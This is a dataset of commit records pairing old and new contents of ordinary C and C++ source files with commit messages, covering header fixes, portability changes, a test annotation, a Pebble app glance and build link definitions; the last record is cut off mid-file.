{"commit":"793459cf8a68ef3e596211bc81d8003880d1d6ba","old_file":"Application\/MIDASDesktop\/GUI\/ResourceEdit.h","new_file":"Application\/MIDASDesktop\/GUI\/ResourceEdit.h","old_contents":"#ifndef __ResourceEdit_H\n#define __ResourceEdit_H\n\n#include \"midasLogAware.h\"\n#include \"midasResourceDescTable.h\"\n#include <QObject>\n\nclass midasDatabaseProxy;\nclass QTableWidgetItem;\n\nnamespace mdo {\n  class Community;\n  class Collection;\n  class Item;\n  class Bitstream;\n};\n\nclass ResourceEdit : public QObject, public midasLogAware\n{\n  Q_OBJECT\npublic:\n\n  ResourceEdit(midasDatabaseProxy* database);\n  ~ResourceEdit();\n\n  void Save(QTableWidgetItem* row);\n\nsignals:\n  void DataModified(std::string uuid);\n\nprotected:\n\n  void SaveCommunity(mdo::Community*, MIDASFields, std::string data);\n  void SaveCollection(mdo::Collection*, MIDASFields, std::string data);\n  void SaveItem(mdo::Item*, MIDASFields, std::string data);\n  void SaveBitstream(mdo::Bitstream*, MIDASFields, std::string data);\n\n  midasDatabaseProxy* m_database;\n};\n\n#endif","new_contents":"#ifndef __ResourceEdit_H\n#define __ResourceEdit_H\n\n#include \"midasLogAware.h\"\n#include \"MidasResourceDescTable.h\"\n#include <QObject>\n\nclass midasDatabaseProxy;\nclass QTableWidgetItem;\n\nnamespace mdo {\n  class Community;\n  class Collection;\n  class Item;\n  class Bitstream;\n};\n\nclass ResourceEdit : public QObject, public midasLogAware\n{\n  Q_OBJECT\npublic:\n\n  ResourceEdit(midasDatabaseProxy* database);\n  ~ResourceEdit();\n\n  void Save(QTableWidgetItem* row);\n\nsignals:\n  void DataModified(std::string uuid);\n\nprotected:\n\n  void SaveCommunity(mdo::Community*, MIDASFields, std::string data);\n  void SaveCollection(mdo::Collection*, MIDASFields, std::string data);\n  void SaveItem(mdo::Item*, MIDASFields, std::string data);\n  void SaveBitstream(mdo::Bitstream*, MIDASFields, std::string data);\n\n  midasDatabaseProxy* m_database;\n};\n\n#endif","subject":"Fix wrong case bug causing compile error on unix platforms","message":"BUG: Fix wrong case bug causing compile error on unix platforms\n\nSVN-Revision: 2901\n","lang":"C","license":"apache-2.0","repos":"cpatrick\/MidasClient,cpatrick\/MidasClient,cpatrick\/MidasClient"}
{"commit":"5c52d60804ea39834ef024923d4286fb7464eefa","old_file":"ir\/ana\/execfreq_t.h","new_file":"ir\/ana\/execfreq_t.h","old_contents":"\/*\n * This file is part of libFirm.\n * Copyright (C) 2012 University of Karlsruhe.\n *\/\n\n\/**\n * @file\n * @brief       Compute an estimate of basic block executions.\n * @author      Adam M. Szalkowski\n * @date        28.05.2006\n *\/\n#ifndef FIRM_ANA_EXECFREQ_T_H\n#define FIRM_ANA_EXECFREQ_T_H\n\n#include \"execfreq.h\"\n\nvoid init_execfreq(void);\n\nvoid exit_execfreq(void);\n\nvoid set_block_execfreq(ir_node *block, double freq);\n\ntypedef struct ir_execfreq_int_factors {\n\tdouble max;\n\tdouble min_non_zero;\n\tdouble m, b;\n} ir_execfreq_int_factors;\n\nvoid ir_calculate_execfreq_int_factors(ir_execfreq_int_factors *factors,\n                                       ir_graph *irg);\n\nint get_block_execfreq_int(const ir_execfreq_int_factors *factors,\n                           const ir_node *block);\n\n#endif\n","new_contents":"\/*\n * This file is part of libFirm.\n * Copyright (C) 2012 University of Karlsruhe.\n *\/\n\n\/**\n * @file\n * @brief       Compute an estimate of basic block executions.\n * @author      Adam M. Szalkowski\n * @date        28.05.2006\n *\/\n#ifndef FIRM_ANA_EXECFREQ_T_H\n#define FIRM_ANA_EXECFREQ_T_H\n\n#include \"execfreq.h\"\n\nvoid init_execfreq(void);\n\nvoid exit_execfreq(void);\n\nvoid set_block_execfreq(ir_node *block, double freq);\n\ntypedef struct ir_execfreq_int_factors {\n\tdouble min_non_zero;\n\tdouble m, b;\n} ir_execfreq_int_factors;\n\nvoid ir_calculate_execfreq_int_factors(ir_execfreq_int_factors *factors,\n                                       ir_graph *irg);\n\nint get_block_execfreq_int(const ir_execfreq_int_factors *factors,\n                           const ir_node *block);\n\n#endif\n","subject":"Remove unused attribute max from int_factors.","message":"execfreq: Remove unused attribute max from int_factors.\n","lang":"C","license":"lgpl-2.1","repos":"MatzeB\/libfirm,jonashaag\/libfirm,libfirm\/libfirm,killbug2004\/libfirm,killbug2004\/libfirm,libfirm\/libfirm,jonashaag\/libfirm,8l\/libfirm,jonashaag\/libfirm,killbug2004\/libfirm,MatzeB\/libfirm,davidgiven\/libfirm,libfirm\/libfirm,davidgiven\/libfirm,davidgiven\/libfirm,killbug2004\/libfirm,killbug2004\/libfirm,davidgiven\/libfirm,davidgiven\/libfirm,MatzeB\/libfirm,libfirm\/libfirm,killbug2004\/libfirm,killbug2004\/libfirm,davidgiven\/libfirm,8l\/libfirm,jonashaag\/libfirm,jonashaag\/libfirm,MatzeB\/libfirm,8l\/libfirm,MatzeB\/libfirm,libfirm\/libfirm,davidgiven\/libfirm,8l\/libfirm,jonashaag\/libfirm,MatzeB\/libfirm,8l\/libfirm,MatzeB\/libfirm,jonashaag\/libfirm,8l\/libfirm,8l\/libfirm"}
{"commit":"74201b3f0de435b167786fe31159f9217e860a79","old_file":"Lagrangian\/L3TestResult.h","new_file":"Lagrangian\/L3TestResult.h","old_contents":"\/\/  L3TestResult.h\n\/\/  Created by Rob Rix on 2012-11-12.\n\/\/  Copyright (c) 2012 Rob Rix. All rights reserved.\n\n#import <Foundation\/Foundation.h>\n\n@interface L3TestResult : NSObject\n\n+(instancetype)testResultWithName:(NSString *)name startDate:(NSDate *)startDate;\n\n@property (strong, nonatomic) L3TestResult *parent; \/\/ this really only exists to make stacks easier; nil it out on pop or you get retain cycles\n\n@property (copy, nonatomic, readonly) NSString *name;\n@property (strong, nonatomic, readonly) NSDate *startDate;\n@property (assign, nonatomic) NSTimeInterval duration;\n@property (assign, nonatomic) NSUInteger testCaseCount;\n@property (assign, nonatomic) NSUInteger assertionCount;\n@property (assign, nonatomic) NSUInteger assertionFailureCount;\n@property (assign, nonatomic) NSUInteger exceptionCount;\n\n@property (nonatomic, readonly) bool succeeded;\n@property (nonatomic, readonly) bool failed;\n\n@property (nonatomic, readonly) NSArray *testResults;\n-(void)addTestResult:(L3TestResult *)testResult;\n\n@end\n","new_contents":"\/\/  L3TestResult.h\n\/\/  Created by Rob Rix on 2012-11-12.\n\/\/  Copyright (c) 2012 Rob Rix. All rights reserved.\n\n#import <Foundation\/Foundation.h>\n\n@interface L3TestResult : NSObject\n\n+(instancetype)testResultWithName:(NSString *)name startDate:(NSDate *)startDate;\n\n@property (strong, nonatomic) L3TestResult *parent; \/\/ this really only exists to make stacks easier; nil it out on pop or you get retain cycles\n\n@property (copy, nonatomic, readonly) NSString *name;\n@property (strong, nonatomic, readonly) NSDate *startDate;\n@property (strong, nonatomic) NSDate *endDate;\n@property (assign, nonatomic) NSTimeInterval duration;\n@property (assign, nonatomic) NSUInteger testCaseCount;\n@property (assign, nonatomic) NSUInteger assertionCount;\n@property (assign, nonatomic) NSUInteger assertionFailureCount;\n@property (assign, nonatomic) NSUInteger exceptionCount;\n\n@property (nonatomic, readonly) bool succeeded;\n@property (nonatomic, readonly) bool failed;\n\n@property (nonatomic, readonly) NSArray *testResults;\n-(void)addTestResult:(L3TestResult *)testResult;\n\n@end\n","subject":"Test results have an end date.","message":"Test results have an end date.\n","lang":"C","license":"bsd-3-clause","repos":"ashfurrow\/RXCollections,robrix\/RXCollections,policp\/RXCollections,ashfurrow\/RXCollections,robrix\/RXCollections,policp\/RXCollections,robrix\/Lagrangian,robrix\/Lagrangian,robrix\/RXCollections,robrix\/Lagrangian,policp\/RXCollections"}
{"commit":"eebacb19cbe5109354aa877ba4c83b79164cfc5c","old_file":"examples\/foo.h","new_file":"examples\/foo.h","old_contents":"\/* -*- C++ -*- *\/\n#ifndef   \tFOO_H_\n# define   \tFOO_H_\n\n#include <string>\n\nint print_something(const char *message);\nint print_something_else(const char *message2);\n\n\nclass SomeObject\n{\n    std::string m_prefix;\npublic:\n    SomeObject (std::string const prefix)\n        : m_prefix (prefix) {}\n\n    int add_prefix (std::string& message) {\n        message = m_prefix + message;\n        return message.size();\n    }\n\n};\n\n\n#endif \t    \/* !FOO_H_ *\/\n","new_contents":"\/\/ -*- Mode: C++; c-file-style: \"stroustrup\"; indent-tabs-mode:nil; -*-\n#ifndef   \tFOO_H_\n# define   \tFOO_H_\n\n#include <string>\n\n\/\/ Yes, this code is stupid, I know; it is only meant as an example!\n\nint print_something(const char *message);\nint print_something_else(const char *message2);\n\nclass Foo\n{\n    std::string m_datum;\npublic:\n    Foo () : m_datum (\"\")\n        {}\n    Foo (std::string datum) : m_datum (datum)\n        {}\n    std::string get_datum () const { return m_datum; }\n\n    Foo (Foo const & other) : m_datum (other.get_datum ())\n        {}\n};\n\nclass Bar : public Foo\n{\n\n};\n\nclass SomeObject\n{\n    std::string m_prefix;\n    Foo m_foo_value;\n    Foo *m_foo_ptr;\n    Foo *m_foo_shared_ptr;\n\npublic:\n    SomeObject (std::string const prefix)\n        : m_prefix (prefix), m_foo_ptr (0),\n          m_foo_shared_ptr (0)\n        {}\n\n    int add_prefix (std::string& message) {\n        message = m_prefix + message;\n        return message.size ();\n    }\n\n    \/\/ pass by value, direction=in\n    void set_foo_value (Foo foo) {\n        m_foo_value = foo;\n    }\n\n    \/\/ pass by reference, direction=in\n    void set_foo_ref (Foo& foo) {\n        m_foo_value = foo;\n    }\n\n    \/\/ pass by reference, direction=out\n    void peek_foo_ref (Foo& foo) {\n        foo = m_foo_value;\n    }\n\n    \/\/ pass by pointer, direction=in, transfers ownership\n    void set_foo_ptr (Foo *foo) {\n        if (m_foo_ptr)\n            delete m_foo_ptr;\n        m_foo_ptr = foo;\n    }\n\n    \/\/ pass by pointer, direction=in, doesn't transfer ownership\n    void set_foo_shared_ptr (Foo *foo) {\n        m_foo_shared_ptr = foo;\n    }\n\n    \/\/ return value\n    Foo get_foo_value () {\n        return m_foo_value;\n    }\n\n    \/\/ return pointer, caller doesn't own return\n    Foo * get_foo_shared_ptr () {\n        return m_foo_shared_ptr;\n    }\n    \n    \/\/ return pointer, caller owns return\n    Foo * get_foo_ptr () {\n        Foo *foo = m_foo_ptr;\n        m_foo_ptr = NULL;\n        return foo;\n    }\n\n};\n\n\n#endif \t    \/* !FOO_H_ *\/\n","subject":"Add example interfaces to test a bunch of new stuff (c++ subclassing, class parameter handling)","message":"Add example interfaces to test a bunch of new stuff (c++ subclassing, class parameter handling)","lang":"C","license":"lgpl-2.1","repos":"cawka\/pybindgen-old,cawka\/pybindgen-old,gjcarneiro\/pybindgen,gjcarneiro\/pybindgen,gjcarneiro\/pybindgen,ftalbrecht\/pybindgen,gjcarneiro\/pybindgen,ftalbrecht\/pybindgen,ftalbrecht\/pybindgen,ftalbrecht\/pybindgen,cawka\/pybindgen-old,cawka\/pybindgen-old"}
{"commit":"837f1bd12b5c80446bf0ee243303c66d37c6a69e","old_file":"ndb\/src\/common\/portlib\/NdbSleep.c","new_file":"ndb\/src\/common\/portlib\/NdbSleep.c","old_contents":"\/* Copyright (C) 2003 MySQL AB\n\n   This program is free software; you can redistribute it and\/or modify\n   it under the terms of the GNU General Public License as published by\n   the Free Software Foundation; either version 2 of the License, or\n   (at your option) any later version.\n\n   This program is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n   GNU General Public License for more details.\n\n   You should have received a copy of the GNU General Public License\n   along with this program; if not, write to the Free Software\n   Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA *\/\n\n\n#include <ndb_global.h>\n#include <NdbSleep.h>\n\nint\nNdbSleep_MilliSleep(int milliseconds){\n  int result = 0;\n  struct timespec sleeptime;\n  sleeptime.tv_sec = milliseconds \/ 1000;\n  sleeptime.tv_nsec = (milliseconds - (sleeptime.tv_sec * 1000)) * 1000000;\n  result = nanosleep(&sleeptime, NULL);\n  return result;\n}\n\nint\nNdbSleep_SecSleep(int seconds){\n  int result = 0;\n  result = sleep(seconds);\n  return result;\n}\n\n\n","new_contents":"\/* Copyright (C) 2003 MySQL AB\n\n   This program is free software; you can redistribute it and\/or modify\n   it under the terms of the GNU General Public License as published by\n   the Free Software Foundation; either version 2 of the License, or\n   (at your option) any later version.\n\n   This program is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n   GNU General Public License for more details.\n\n   You should have received a copy of the GNU General Public License\n   along with this program; if not, write to the Free Software\n   Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA *\/\n\n\n#include <ndb_global.h>\n#include <my_sys.h>\n#include <NdbSleep.h>\n\nint\nNdbSleep_MilliSleep(int milliseconds){\n  my_sleep(milliseconds*1000);\n  return 0;\n#if 0\n  int result = 0;\n  struct timespec sleeptime;\n  sleeptime.tv_sec = milliseconds \/ 1000;\n  sleeptime.tv_nsec = (milliseconds - (sleeptime.tv_sec * 1000)) * 1000000;\n  result = nanosleep(&sleeptime, NULL);\n  return result;\n#endif\n}\n\nint\nNdbSleep_SecSleep(int seconds){\n  int result = 0;\n  result = sleep(seconds);\n  return result;\n}\n\n\n","subject":"Use my_sleep instead of nanosleep for portability","message":"Use my_sleep instead of nanosleep for portability\n","lang":"C","license":"lgpl-2.1","repos":"ollie314\/server,davidl-zend\/zenddbi,flynn1973\/mariadb-aix,flynn1973\/mariadb-aix,davidl-zend\/zenddbi,flynn1973\/mariadb-aix,natsys\/mariadb_10.2,ollie314\/server,davidl-zend\/zenddbi,ollie314\/server,flynn1973\/mariadb-aix,davidl-zend\/zenddbi,natsys\/mariadb_10.2,ollie314\/server,davidl-zend\/zenddbi,flynn1973\/mariadb-aix,natsys\/mariadb_10.2,flynn1973\/mariadb-aix,ollie314\/server,flynn1973\/mariadb-aix,natsys\/mariadb_10.2,flynn1973\/mariadb-aix,davidl-zend\/zenddbi,ollie314\/server,natsys\/mariadb_10.2,natsys\/mariadb_10.2,davidl-zend\/zenddbi,natsys\/mariadb_10.2,slanterns\/server,ollie314\/server,natsys\/mariadb_10.2,natsys\/mariadb_10.2,flynn1973\/mariadb-aix,natsys\/mariadb_10.2,ollie314\/server,davidl-zend\/zenddbi,davidl-zend\/zenddbi,ollie314\/server,flynn1973\/mariadb-aix,ollie314\/server,natsys\/mariadb_10.2,ollie314\/server,davidl-zend\/zenddbi,flynn1973\/mariadb-aix,davidl-zend\/zenddbi"}
{"commit":"6380b46ab02851ab8ab0071695f395fc20246f4c","old_file":"apps\/libs\/gpio.h","new_file":"apps\/libs\/gpio.h","old_contents":"#ifndef _GPIO_H\n#define _GPIO_H\n\n#include <unistd.h>\n#include \"tock.h\"\n\n#define GPIO_DRIVER_NUM 1\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/\/ GPIO pin enum is defined externally in platform headers\nenum GPIO_Pin_enum;\ntypedef enum GPIO_Pin_enum GPIO_Pin_t;\n\ntypedef enum {\n  PullUp=0,\n  PullDown,\n  PullNone,\n} GPIO_InputMode_t;\n\ntypedef enum {\n  Change=0,\n  RisingEdge,\n  FallingEdge,\n} GPIO_InterruptMode_t;\n\nint gpio_enable_output(GPIO_Pin_t pin);\nint gpio_set(GPIO_Pin_t pin);\nint gpio_clear(GPIO_Pin_t pin);\nint gpio_toggle(GPIO_Pin_t pin);\nint gpio_enable_input(GPIO_Pin_t pin, GPIO_InputMode_t pin_config);\nint gpio_read(GPIO_Pin_t pin);\nint gpio_enable_interrupt(GPIO_Pin_t pin, GPIO_InputMode_t pin_config,\n    GPIO_InterruptMode_t irq_config);\nint gpio_disable_interrupt(GPIO_Pin_t pin);\nint gpio_disable(GPIO_Pin_t pin);\nint gpio_interrupt_callback(subscribe_cb callback, void* callback_args);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/\/ _GPIO_H\n","new_contents":"#ifndef _GPIO_H\n#define _GPIO_H\n\n#include <unistd.h>\n#include \"tock.h\"\n#include \"firestorm.h\"\n\n#define GPIO_DRIVER_NUM 1\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/\/ GPIO pin enum is defined externally in platform headers\nenum GPIO_Pin_enum;\ntypedef enum GPIO_Pin_enum GPIO_Pin_t;\n\ntypedef enum {\n  PullUp=0,\n  PullDown,\n  PullNone,\n} GPIO_InputMode_t;\n\ntypedef enum {\n  Change=0,\n  RisingEdge,\n  FallingEdge,\n} GPIO_InterruptMode_t;\n\nint gpio_enable_output(GPIO_Pin_t pin);\nint gpio_set(GPIO_Pin_t pin);\nint gpio_clear(GPIO_Pin_t pin);\nint gpio_toggle(GPIO_Pin_t pin);\nint gpio_enable_input(GPIO_Pin_t pin, GPIO_InputMode_t pin_config);\nint gpio_read(GPIO_Pin_t pin);\nint gpio_enable_interrupt(GPIO_Pin_t pin, GPIO_InputMode_t pin_config,\n    GPIO_InterruptMode_t irq_config);\nint gpio_disable_interrupt(GPIO_Pin_t pin);\nint gpio_disable(GPIO_Pin_t pin);\nint gpio_interrupt_callback(subscribe_cb callback, void* callback_args);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/\/ _GPIO_H\n","subject":"Make GPIO_Pin_t type work by including firestorm.h","message":"Make GPIO_Pin_t type work by including firestorm.h\n\nThis isn't good long-term. The gpio driver should not have to depend on\na specific platform\n","lang":"C","license":"apache-2.0","repos":"google\/tock-on-titan,google\/tock-on-titan,google\/tock-on-titan"}
{"commit":"4feae9f90bc7a483c54103d5bfdc9b1c231624ca","old_file":"tests\/regression\/01-cpa\/35-intervals.c","new_file":"tests\/regression\/01-cpa\/35-intervals.c","old_contents":"\/\/ PARAM: --enable ana.int.interval --disable ana.int.def_exc --disable ana.int.enums\nvoid main(){\n  int n = 7;\n  for (; n; n--) {\n      assert(n==1); \/\/ UNKNOWN!\n  }\n  int i;\n  if(i-1){\n    assert(i==2); \/\/ UNKNOWN\n  }\n  return;\n}\n","new_contents":"\/\/ PARAM: --enable ana.int.interval --disable ana.int.def_exc --disable ana.int.enums\nvoid main(){\n  int n = 7;\n  for (; n; n--) {\n      assert(n==1); \/\/ UNKNOWN!\n  }\n  int i;\n  if(i-1){\n    assert(i==2); \/\/ UNKNOWN!\n  }\n  return;\n}\n","subject":"Fix tests 01\/35: Any int != 0 evaluates to true","message":"Fix tests 01\/35: Any int  != 0 evaluates to true\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"ff0d759f679a11449e449bbc5b098b8d2ccda8db","old_file":"simreverse.c","new_file":"simreverse.c","old_contents":"","new_contents":"#include \"config.h\"\n\n#ifdef HAVE_LIBSSL\n#include <openssl\/ssl.h>\n#include <openssl\/rand.h>\n#include <openssl\/err.h>\n#endif \/* HAVE_LIBSSL *\/\n\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <sys\/stat.h>\n#include <sys\/param.h>\n\n#include <arpa\/inet.h>\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <fcntl.h>\n#include <string.h>\n#include <errno.h>\n#include <dirent.h>\n#include <netdb.h>\n#include <unistd.h>\n#include <syslog.h>\n#include <sysexits.h>\n#include <utime.h>\n\n#include <snet.h>\n\n#include \"denser.h\"\n#include \"envelope.h\"\n#include \"mx.h\"\n#include \"ll.h\"\n#include \"simta.h\"\n\n    int\nmain( int argc, char *argv[])\n{\n    extern int          optind;\n    extern char         *optarg;\n\n    struct in_addr\taddr;\n\n    if ( argc < 1 ) {\n\tfprintf( stderr, \"Usage: %s address\\n\", argv[ 0 ]);\n\texit( EX_USAGE );\n    }\n\n    if ( inet_pton( AF_INET, argv[ 1 ], &addr ) <= 0 ) {\n\tperror( \"inet_pton\" );\n\texit( 1 );\n    }\n\n    switch ( check_reverse( argv[ 1 ], &addr )) {\n    case 0:\n\tprintf( \"valid reverse\\n\" );\n\texit( 0 );\n\n    case 1:\n\tprintf( \"invalid reverse\\n\" );\n\texit( 1 );\n\n    default:\n\tfprintf( stderr, \"check_reverse failed\\n\" );\n\texit( 1 );\n    }\n}\n","subject":"Check the reverse of an IP","message":"Check the reverse of an IP\n","lang":"C","license":"mit","repos":"simta\/simta,simta\/simta,simta\/simta"}
{"commit":"39a74c1552c74910eaac60ed8574ef34e5e5ad5c","old_file":"src\/c\/main.c","new_file":"src\/c\/main.c","old_contents":"\/*\n * Copyright (c) 2016 Jan Hoffmann\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#include \"windows\/main_window.h\"\n\n#include <pebble.h>\n\n\nstatic void init(void) {\n  main_window_push();\n}\n\nstatic void deinit(void) {\n}\n\nint main(void) {\n  init();\n  app_event_loop();\n  deinit();\n}\n","new_contents":"\/*\n * Copyright (c) 2016 Jan Hoffmann\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#include \"lib\/data.h\"\n#include \"windows\/main_window.h\"\n\n#include <pebble.h>\n\n\nstatic void init(void) {\n  if (data_init_receiver()) {\n    main_window_push();\n  }\n}\n\n# ifndef PBL_PLATFORM_APLITE\nstatic void app_glance_reload_callback(AppGlanceReloadSession *session, size_t limit, void *context) {\n  size_t count = data_get_fast_seller_count();\n  if (limit < count) {\n    count = limit;\n  }\n\n  AppGlanceSlice slice = (AppGlanceSlice) {};\n  slice.layout.icon = APP_GLANCE_SLICE_DEFAULT_ICON;\n\n  data_fast_seller *fast_seller;\n\n  for (unsigned int i = 0; i < count; i++) {\n    fast_seller = data_get_fast_seller(i);\n\n    slice.layout.subtitle_template_string = fast_seller->title;\n    slice.expiration_time = fast_seller->date;\n\n    AppGlanceResult result = app_glance_add_slice(session, slice);\n    if (result != APP_GLANCE_RESULT_SUCCESS) {\n      APP_LOG(APP_LOG_LEVEL_ERROR, \"Failed to add app glance slice: %d\", result);\n    }\n  }\n\n  data_deinit();\n}\n#endif\n\nstatic void deinit(void) {\n  # ifndef PBL_PLATFORM_APLITE\n  if (data_get_fast_seller_count() > 0) {\n    app_glance_reload(app_glance_reload_callback, NULL);\n  } else {\n    data_deinit();\n  }\n  # else\n  data_deinit();\n  # endif\n}\n\nint main(void) {\n  init();\n  app_event_loop();\n  deinit();\n}\n","subject":"Set fast sellers as app glance on supported watches","message":"Set fast sellers as app glance on supported watches\n","lang":"C","license":"mpl-2.0","repos":"janh\/mensa-stuttgart,janh\/mensa-stuttgart,janh\/mensa-stuttgart,janh\/mensa-stuttgart"}
{"commit":"14cf94eed81468759bb7b2ab084837f656059407","old_file":"stdafx.h","new_file":"stdafx.h","old_contents":"\/\/ precompiled header\n\/*\n *\n * Author: septimomend (Ivan Chapkailo)\n *\n * 27.06.2017\n *\n *\/\n\n #define _DEFAULT_SOURCE\n #define _BSD_SOURCE\n #define _GNU_SOURCE\n\n #include <ctype.h>\n #include <errno.h>\n #include <fcntl.h>\n #include <stdio.h>\n #include <stdarg.h>\n #include <stdlib.h>\n #include <string.h>\n #include <sys\/ioctl.h>\n #include <sys\/types.h>\n #include <termios.h>\n #include <time.h>\n #include <unistd.h>\n","new_contents":"\/\/ precompiled header\n\/*\n *\n * Author: septimomend (Ivan Chapkailo)\n *\n * 27.06.2017\n *\n *\/\n\n #define _DEFAULT_SOURCE\n #define _BSD_SOURCE\n #define _GNU_SOURCE\n\n #include <ctype.h>\n #include <errno.h>\n #include <fcntl.h>\n #include <iostream>\n #include <stdarg.h>\n #include <cstdlib>\n #include <string>\n #include <sys\/ioctl.h>\n #include <sys\/types.h>\n #include <termios.h>\n #include <ctime>\n #include <unistd.h>\n\n\/\/ defines\n\n#define SEPT_CPP_EDITOR_VERSION \"0.0.1\"\n#define SEPT_TAB_STOP 8\n#define SEPT_QUIT_TIMES 2 \/\/ click times for exit\n\n#define CTRL_KEY(k) ((k) & 0x1f)\n\nenum keys\n{\n  BACKSPACE = 127,\n  ARROW_LEFT = 1000,\n  ARROW_RIGHT,\n  ARROW_UP,\n  ARROW_DOWN,\n  DELETE_KEY,\n  HOME_KEY,\n  END_KEY,\n  PAGE_UP,\n  PAGE_DOWN\n};\n\nenum colorful \n{\n  HL_NORMAL = 0,\n  HL_COMMENT,\n  HL_MLCOMMENT,\n  HL_KEYWORD1,\n  HL_KEYWORD2,\n  HL_STRING,\n  HL_NUMBER,\n  HL_MATCH\n};\n","subject":"Update precompiled header -- added defines","message":"Update precompiled header -- added defines\n","lang":"C","license":"mit","repos":"septimomend\/UNIX-C-Text-Editor,septimomend\/UNIX-C-Text-Editor"}
{"commit":"7bfdc0e00b77c05fe0de79da3eaa6b0009418926","old_file":"PWG3\/PWG3baseLinkDef.h","new_file":"PWG3\/PWG3baseLinkDef.h","old_contents":"#ifdef __CINT__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ class AliQuarkoniaAcceptance+; \n#pragma link C++ class AliQuarkoniaEfficiency+; \n\n#pragma link C++ class AliD0toKpi+;\n#pragma link C++ class AliD0toKpiAnalysis+;\n#pragma link C++ class AliBtoJPSItoEle+;\n#pragma link C++ class AliBtoJPSItoEleAnalysis+;\n\n#pragma link C++ class AliAODRecoDecayHF+;\n#pragma link C++ class AliAODRecoDecayHF2Prong+;\n#pragma link C++ class AliAODRecoDecayHF3Prong+;\n#pragma link C++ class AliAODRecoDecayHF4Prong+;\n#pragma link C++ class AliAnalysisVertexingHF+;\n#pragma link C++ class AliAnalysisTaskVertexingHF+;\n\n#pragma link C++ class AliAODDimuon+;\n#pragma link C++ class AliAODEventInfo+;\n#pragma link C++ class AliAnalysisTaskMuonAODfromGeneral+;\n#pragma link C++ class AliAnalysisTaskSingleMu+;\n\n#endif\n\n\n","new_contents":"#ifdef __CINT__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ class AliQuarkoniaAcceptance+; \n#pragma link C++ class AliQuarkoniaEfficiency+; \n\n#pragma link C++ class AliAODRecoDecayHF+;\n#pragma link C++ class AliAODRecoDecayHF2Prong+;\n#pragma link C++ class AliAODRecoDecayHF3Prong+;\n#pragma link C++ class AliAODRecoDecayHF4Prong+;\n#pragma link C++ class AliAnalysisVertexingHF+;\n#pragma link C++ class AliAnalysisTaskVertexingHF+;\n\n#pragma link C++ class AliAODDimuon+;\n#pragma link C++ class AliAODEventInfo+;\n#pragma link C++ class AliAnalysisTaskMuonAODfromGeneral+;\n#pragma link C++ class AliAnalysisTaskSingleMu+;\n\n#endif\n\n\n","subject":"Move AliD0toKpi* and AliBtoJPSI* from libPWG3base to libPWG3 (Andrea)","message":"Move AliD0toKpi* and AliBtoJPSI* from libPWG3base to libPWG3 (Andrea)\n\n","lang":"C","license":"bsd-3-clause","repos":"mkrzewic\/AliRoot,alisw\/AliRoot,ecalvovi\/AliRoot,shahor02\/AliRoot,ecalvovi\/AliRoot,jgrosseo\/AliRoot,coppedis\/AliRoot,sebaleh\/AliRoot,jgrosseo\/AliRoot,ALICEHLT\/AliRoot,mkrzewic\/AliRoot,sebaleh\/AliRoot,coppedis\/AliRoot,alisw\/AliRoot,sebaleh\/AliRoot,jgrosseo\/AliRoot,shahor02\/AliRoot,miranov25\/AliRoot,alisw\/AliRoot,jgrosseo\/AliRoot,sebaleh\/AliRoot,ecalvovi\/AliRoot,jgrosseo\/AliRoot,shahor02\/AliRoot,jgrosseo\/AliRoot,coppedis\/AliRoot,miranov25\/AliRoot,jgrosseo\/AliRoot,ALICEHLT\/AliRoot,ecalvovi\/AliRoot,ecalvovi\/AliRoot,mkrzewic\/AliRoot,alisw\/AliRoot,ecalvovi\/AliRoot,coppedis\/AliRoot,miranov25\/AliRoot,alisw\/AliRoot,ALICEHLT\/AliRoot,mkrzewic\/AliRoot,miranov25\/AliRoot,ALICEHLT\/AliRoot,mkrzewic\/AliRoot,miranov25\/AliRoot,miranov25\/AliRoot,coppedis\/AliRoot,mkrzewic\/AliRoot,coppedis\/AliRoot,shahor02\/AliRoot,miranov25\/AliRoot,ecalvovi\/AliRoot,shahor02\/AliRoot,sebaleh\/AliRoot,alisw\/AliRoot,alisw\/AliRoot,shahor02\/AliRoot,miranov25\/AliRoot,shahor02\/AliRoot,ALICEHLT\/AliRoot,ALICEHLT\/AliRoot,coppedis\/AliRoot,alisw\/AliRoot,coppedis\/AliRoot,sebaleh\/AliRoot,mkrzewic\/AliRoot,sebaleh\/AliRoot,ALICEHLT\/AliRoot"}
{"commit":"66122432b36ed35ec40499d2d93fc51fa02c20e0","old_file":"STRUCT\/STRUCTLinkDef.h","new_file":"STRUCT\/STRUCTLinkDef.h","old_contents":"#ifdef __CINT__\n\/* Copyright(c) 1998-1999, ALICE Experiment at CERN, All rights reserved. *\n * See cxx source for full Copyright notice                               *\/\n\n\/* $Id$ *\/\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n \n#pragma link C++ class  AliBODY;\n#pragma link C++ class  AliMAG;\n#pragma link C++ class  AliABSO;\n#pragma link C++ class  AliDIPO;\n#pragma link C++ class  AliDIPOv1;\n#pragma link C++ class  AliDIPOv2;\n#pragma link C++ class  AliFRAME;\n#pragma link C++ class  AliFRAMEv0;\n#pragma link C++ class  AliFRAMEv1;\n#pragma link C++ class  AliHALL;\n#pragma link C++ class  AliPIPE;\n#pragma link C++ class  AliPIPEv0;\n#pragma link C++ class  